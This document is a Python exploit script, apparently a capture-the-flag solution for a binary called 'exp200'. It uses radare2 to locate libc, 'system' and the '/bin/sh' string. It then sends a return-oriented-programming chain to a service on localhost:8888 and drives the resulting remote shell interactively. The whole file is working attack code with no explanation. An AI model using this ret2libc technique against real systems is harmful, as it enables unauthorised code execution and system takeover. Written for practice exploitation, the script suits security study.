# run the binary with
# socat TCP-LISTEN:8888,reuseaddr,fork EXEC:'strace -i -f -v ./exp200'

import struct
import socket

import r2pipe

def rop(*args):
    return struct.pack('<Q'*len(args), *args)

r = r2pipe.open('exp200', ['-d'])
r.cmd('db main')  # break on main
r.cmd('dc')       # run!

libc_base = 0
libc_path = ''
for _map in r.cmdj('dmj'):
    if 'libc' in _map['file']:
        libc_base = _map['addr']
        libc_path = _map['file']
        break  # we want the first (lowest) address

system_addr = 0
r = r2pipe.open(libc_path)
for symbol in r.cmdj('isj'):
    if 'system' == symbol['name']:
        system_addr = symbol['paddr']

binsh_addr = r.cmdj('/j /bin/sh')[0]['offset']

popret  = 0x004006a3
pop2ret = 0x004006a0

binsh = libc_base + binsh_addr
system = libc_base + system_addr

s = socket.create_connection(('localhost', 8888))

s.send(
        rop(pop2ret) +
        'A'*8*2 +
        rop(popret) +
        rop(binsh) +
        rop(system) +
        '\n'
)

while True:
    s.send(raw_input('> ') + '\n')
    print s.recv(1024)
